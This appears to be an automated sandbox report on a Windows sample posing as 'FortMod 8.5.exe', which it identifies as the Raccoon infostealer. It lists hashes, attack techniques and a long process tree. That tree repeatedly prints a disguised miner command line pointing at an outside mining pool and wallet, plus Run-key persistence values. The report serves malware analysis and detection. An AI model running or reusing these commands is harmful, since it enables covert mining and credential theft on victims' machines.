raccoon | 6db1ae06db8883952d2eda1e87492ea0bfbadb8f76cc36d0dece41a9f02985a7

Analysis

max time kernel
150s
max time network
117s
platform
windows10_x64
resource
win10-en-20211208
submitted
09/01/2022, 15:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
FortMod 8.5.exe
Size 1.0MB
Sample220109-see1fadhem
SHA256 6db1ae06db8883952d2eda1e87492ea0bfbadb8f76cc36d0dece41a9f02985a7
MD5 30af8b8655079ec0aafa5e08215d87ff
SHA1 e1bb9814c2b51b328ad3f7a770ba0432a7a4a1c2
SHA512 eac0b16ac26d0a77f6ebf4a688e8c872b0f2d34f400d93e71db9de2881781628b4a6f2e8910520bd61d32b7992f869af5bba4a1b7e0a529b980bd120c9133dbb
MD5 SHA1 SHA512

Score

10^/10

raccoon discovery persistence spyware stealer

Malware Config

Extracted

Family

raccoon

Version

1.8.4-hotfixs

rc4.plain

Signatures

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 3968 created 644	3968	WerFault.exe	77

Downloads MZ/PE file

Executes dropped EXE 25 IoCs

pid	Process
4312	safas2f.exe
3880	whw.exe
2480	e3dwefw.exe
644	asdasdw.exe
2460	RegHost.exe
4924	RegHost.exe
1176	RegHost.exe
400	RegHost.exe
1968	RegHost.exe
3856	oobeldr.exe
3760	RegHost.exe
3680	RegHost.exe
4320	RegHost.exe
508	RegHost.exe
3656	RegHost.exe
4948	RegHost.exe
2340	RegHost.exe
5044	RegHost.exe
1136	RegHost.exe
3580	RegHost.exe
3612	RegHost.exe
4036	RegHost.exe
3412	RegHost.exe
736	RegHost.exe
808	RegHost.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 20 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	safas2f.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of NtSetInformationThreadHideFromDebugger 64 IoCs

pid	Process
4312	safas2f.exe
644	asdasdw.exe
4312	safas2f.exe
1268	bfsvc.exe
1268	bfsvc.exe
2460	RegHost.exe
2460	RegHost.exe
2328	bfsvc.exe
2328	bfsvc.exe
4924	RegHost.exe
4924	RegHost.exe
5040	bfsvc.exe
5040	bfsvc.exe
1176	RegHost.exe
1176	RegHost.exe
356	bfsvc.exe
356	bfsvc.exe
400	RegHost.exe
400	RegHost.exe
2292	bfsvc.exe
2292	bfsvc.exe
1968	RegHost.exe
1968	RegHost.exe
3028	bfsvc.exe
3028	bfsvc.exe
3760	RegHost.exe
3760	RegHost.exe
5112	bfsvc.exe
5112	bfsvc.exe
3680	RegHost.exe
3680	RegHost.exe
4108	bfsvc.exe
4108	bfsvc.exe
4320	RegHost.exe
4320	RegHost.exe
3648	bfsvc.exe
3648	bfsvc.exe
508	RegHost.exe
508	RegHost.exe
1624	bfsvc.exe
1624	bfsvc.exe
3656	RegHost.exe
3656	RegHost.exe
2588	bfsvc.exe
2588	bfsvc.exe
4948	RegHost.exe
4948	RegHost.exe
2676	bfsvc.exe
2676	bfsvc.exe
2340	RegHost.exe
2340	RegHost.exe
392	bfsvc.exe
392	bfsvc.exe
5044	RegHost.exe
5044	RegHost.exe
2008	bfsvc.exe
2008	bfsvc.exe
1136	RegHost.exe
1136	RegHost.exe
688	bfsvc.exe
688	bfsvc.exe
3580	RegHost.exe
3580	RegHost.exe
1708	bfsvc.exe

Suspicious use of SetThreadContext 41 IoCs

description	pid	Process	procid_target
PID 1672 set thread context of 4116	1672	FortMod 8.5.exe	68
PID 4312 set thread context of 1268	4312	safas2f.exe	78
PID 4312 set thread context of 1444	4312	safas2f.exe	79
PID 2460 set thread context of 2328	2460	RegHost.exe	85
PID 2460 set thread context of 4836	2460	RegHost.exe	86
PID 4924 set thread context of 5040	4924	RegHost.exe	90
PID 4924 set thread context of 4748	4924	RegHost.exe	92
PID 1176 set thread context of 356	1176	RegHost.exe	95
PID 1176 set thread context of 364	1176	RegHost.exe	97
PID 400 set thread context of 2292	400	RegHost.exe	100
PID 400 set thread context of 1708	400	RegHost.exe	102
PID 1968 set thread context of 3028	1968	RegHost.exe	105
PID 1968 set thread context of 2984	1968	RegHost.exe	107
PID 3760 set thread context of 5112	3760	RegHost.exe	113
PID 3760 set thread context of 5072	3760	RegHost.exe	114
PID 3680 set thread context of 4108	3680	RegHost.exe	118
PID 3680 set thread context of 736	3680	RegHost.exe	119
PID 4320 set thread context of 3648	4320	RegHost.exe	123
PID 4320 set thread context of 908	4320	RegHost.exe	125
PID 508 set thread context of 1624	508	RegHost.exe	128
PID 508 set thread context of 1660	508	RegHost.exe	130
PID 3656 set thread context of 2588	3656	RegHost.exe	135
PID 3656 set thread context of 1352	3656	RegHost.exe	136
PID 4948 set thread context of 2676	4948	RegHost.exe	140
PID 4948 set thread context of 4812	4948	RegHost.exe	141
PID 2340 set thread context of 392	2340	RegHost.exe	145
PID 2340 set thread context of 5008	2340	RegHost.exe	146
PID 5044 set thread context of 2008	5044	RegHost.exe	150
PID 5044 set thread context of 4608	5044	RegHost.exe	151
PID 1136 set thread context of 688	1136	RegHost.exe	155
PID 1136 set thread context of 4520	1136	RegHost.exe	156
PID 3580 set thread context of 1708	3580	RegHost.exe	160
PID 3580 set thread context of 2960	3580	RegHost.exe	162
PID 3612 set thread context of 4952	3612	RegHost.exe	165
PID 3612 set thread context of 3304	3612	RegHost.exe	166
PID 4036 set thread context of 3120	4036	RegHost.exe	170
PID 4036 set thread context of 5112	4036	RegHost.exe	171
PID 3412 set thread context of 3680	3412	RegHost.exe	175
PID 3412 set thread context of 4216	3412	RegHost.exe	176
PID 736 set thread context of 4320	736	RegHost.exe	180
PID 736 set thread context of 500	736	RegHost.exe	181

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3968	644	WerFault.exe	77

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	RegAsm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	RegAsm.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
500	schtasks.exe
4736	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4116	RegAsm.exe
4116	RegAsm.exe
644	asdasdw.exe
644	asdasdw.exe
1444	explorer.exe
1444	explorer.exe
1444	explorer.exe
1444	explorer.exe
1444	explorer.exe
1444	explorer.exe
1444	explorer.exe
1444	explorer.exe
1444	explorer.exe
1444	explorer.exe
1444	explorer.exe
1444	explorer.exe
1444	explorer.exe
1444	explorer.exe
1444	explorer.exe
1444	explorer.exe
1444	explorer.exe
1444	explorer.exe
1444	explorer.exe
1444	explorer.exe
3880	whw.exe
4836	explorer.exe
4836	explorer.exe
4836	explorer.exe
4836	explorer.exe
4836	explorer.exe
4836	explorer.exe
4836	explorer.exe
4836	explorer.exe
4836	explorer.exe
4836	explorer.exe
3968	WerFault.exe
3968	WerFault.exe
3968	WerFault.exe
3968	WerFault.exe
3968	WerFault.exe
3968	WerFault.exe
3968	WerFault.exe
3968	WerFault.exe
3968	WerFault.exe
3968	WerFault.exe
3968	WerFault.exe
3968	WerFault.exe
3968	WerFault.exe
4116	RegAsm.exe
4836	explorer.exe
4836	explorer.exe
4836	explorer.exe
4836	explorer.exe
4836	explorer.exe
4836	explorer.exe
4836	explorer.exe
4836	explorer.exe
4836	explorer.exe
4836	explorer.exe
4748	explorer.exe
4748	explorer.exe
4748	explorer.exe
4748	explorer.exe
4748	explorer.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	4116	RegAsm.exe
Token: SeDebugPrivilege	3880	whw.exe
Token: SeRestorePrivilege	3968	WerFault.exe
Token: SeBackupPrivilege	3968	WerFault.exe
Token: SeDebugPrivilege	3968	WerFault.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1672 wrote to memory of 4116	1672	FortMod 8.5.exe	68
PID 1672 wrote to memory of 4116	1672	FortMod 8.5.exe	68
PID 1672 wrote to memory of 4116	1672	FortMod 8.5.exe	68
PID 1672 wrote to memory of 4116	1672	FortMod 8.5.exe	68
PID 1672 wrote to memory of 4116	1672	FortMod 8.5.exe	68
PID 1672 wrote to memory of 4116	1672	FortMod 8.5.exe	68
PID 1672 wrote to memory of 4116	1672	FortMod 8.5.exe	68
PID 1672 wrote to memory of 4116	1672	FortMod 8.5.exe	68
PID 4116 wrote to memory of 4312	4116	RegAsm.exe	71
PID 4116 wrote to memory of 4312	4116	RegAsm.exe	71
PID 4116 wrote to memory of 3880	4116	RegAsm.exe	73
PID 4116 wrote to memory of 3880	4116	RegAsm.exe	73
PID 4116 wrote to memory of 3880	4116	RegAsm.exe	73
PID 4116 wrote to memory of 2480	4116	RegAsm.exe	74
PID 4116 wrote to memory of 2480	4116	RegAsm.exe	74
PID 4116 wrote to memory of 2480	4116	RegAsm.exe	74
PID 2480 wrote to memory of 500	2480	e3dwefw.exe	75
PID 2480 wrote to memory of 500	2480	e3dwefw.exe	75
PID 2480 wrote to memory of 500	2480	e3dwefw.exe	75
PID 4116 wrote to memory of 644	4116	RegAsm.exe	77
PID 4116 wrote to memory of 644	4116	RegAsm.exe	77
PID 4116 wrote to memory of 644	4116	RegAsm.exe	77
PID 4312 wrote to memory of 1268	4312	safas2f.exe	78
PID 4312 wrote to memory of 1268	4312	safas2f.exe	78
PID 4312 wrote to memory of 1268	4312	safas2f.exe	78
PID 4312 wrote to memory of 1268	4312	safas2f.exe	78
PID 4312 wrote to memory of 1268	4312	safas2f.exe	78
PID 4312 wrote to memory of 1268	4312	safas2f.exe	78
PID 4312 wrote to memory of 1268	4312	safas2f.exe	78
PID 4312 wrote to memory of 1268	4312	safas2f.exe	78
PID 4312 wrote to memory of 1268	4312	safas2f.exe	78
PID 4312 wrote to memory of 1268	4312	safas2f.exe	78
PID 4312 wrote to memory of 1268	4312	safas2f.exe	78
PID 4312 wrote to memory of 1268	4312	safas2f.exe	78
PID 4312 wrote to memory of 1268	4312	safas2f.exe	78
PID 4312 wrote to memory of 1268	4312	safas2f.exe	78
PID 4312 wrote to memory of 1268	4312	safas2f.exe	78
PID 4312 wrote to memory of 1268	4312	safas2f.exe	78
PID 4312 wrote to memory of 1268	4312	safas2f.exe	78
PID 4312 wrote to memory of 1268	4312	safas2f.exe	78
PID 4312 wrote to memory of 1268	4312	safas2f.exe	78
PID 4312 wrote to memory of 1444	4312	safas2f.exe	79
PID 4312 wrote to memory of 1444	4312	safas2f.exe	79
PID 4312 wrote to memory of 1444	4312	safas2f.exe	79
PID 4312 wrote to memory of 1444	4312	safas2f.exe	79
PID 4312 wrote to memory of 1444	4312	safas2f.exe	79
PID 4312 wrote to memory of 1444	4312	safas2f.exe	79
PID 4312 wrote to memory of 1444	4312	safas2f.exe	79
PID 4312 wrote to memory of 1444	4312	safas2f.exe	79
PID 4312 wrote to memory of 1444	4312	safas2f.exe	79
PID 4312 wrote to memory of 1444	4312	safas2f.exe	79
PID 4312 wrote to memory of 1444	4312	safas2f.exe	79
PID 4312 wrote to memory of 1444	4312	safas2f.exe	79
PID 4312 wrote to memory of 1444	4312	safas2f.exe	79
PID 4312 wrote to memory of 1444	4312	safas2f.exe	79
PID 4312 wrote to memory of 1444	4312	safas2f.exe	79
PID 4312 wrote to memory of 1444	4312	safas2f.exe	79
PID 4312 wrote to memory of 1444	4312	safas2f.exe	79
PID 1444 wrote to memory of 2460	1444	explorer.exe	81
PID 1444 wrote to memory of 2460	1444	explorer.exe	81
PID 2460 wrote to memory of 2328	2460	RegHost.exe	85
PID 2460 wrote to memory of 2328	2460	RegHost.exe	85
PID 2460 wrote to memory of 2328	2460	RegHost.exe	85
PID 2460 wrote to memory of 2328	2460	RegHost.exe	85

C:\Users\Admin\AppData\Local\Temp\FortMod 8.5.exe
"C:\Users\Admin\AppData\Local\Temp\FortMod 8.5.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1672
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
  #cmd
  2⤵
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4116
- - C:\Users\Admin\AppData\Roaming\safas2f.exe
    "C:\Users\Admin\AppData\Roaming\safas2f.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:4312
  - - C:\Windows\bfsvc.exe
      C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
      4⤵
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:1268
  - - C:\Windows\explorer.exe
      "C:\Windows\explorer.exe"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1444
    - - C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:2460
      - C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        6⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2328
      - C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4836
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        7⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:4924
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        8⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:5040
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        8⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4748
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        9⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:1176
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        10⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:356
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        10⤵
        
        PID:364
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        11⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:400
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        12⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2292
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        12⤵
        
        PID:1708
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        13⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:1968
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        14⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:3028
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        14⤵
        
        PID:2984
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        15⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:3760
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        16⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:5112
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        16⤵
        
        PID:5072
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        17⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:3680
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        18⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:4108
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        18⤵
        
        PID:736
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        19⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:4320
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        20⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:3648
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        20⤵
        
        PID:908
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        21⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:508
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        22⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1624
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        22⤵
        
        PID:1660
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        23⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:3656
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        24⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2588
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        24⤵
        
        PID:1352
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        25⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:4948
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        26⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2676
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        26⤵
        
        PID:4812
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        27⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:2340
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        28⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:392
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        28⤵
        
        PID:5008
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        29⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:5044
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        30⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2008
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        30⤵
        
        PID:4608
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        31⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:1136
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        32⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:688
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        32⤵
        
        PID:4520
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        33⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:3580
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        34⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1708
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        34⤵
        
        PID:2960
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        35⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
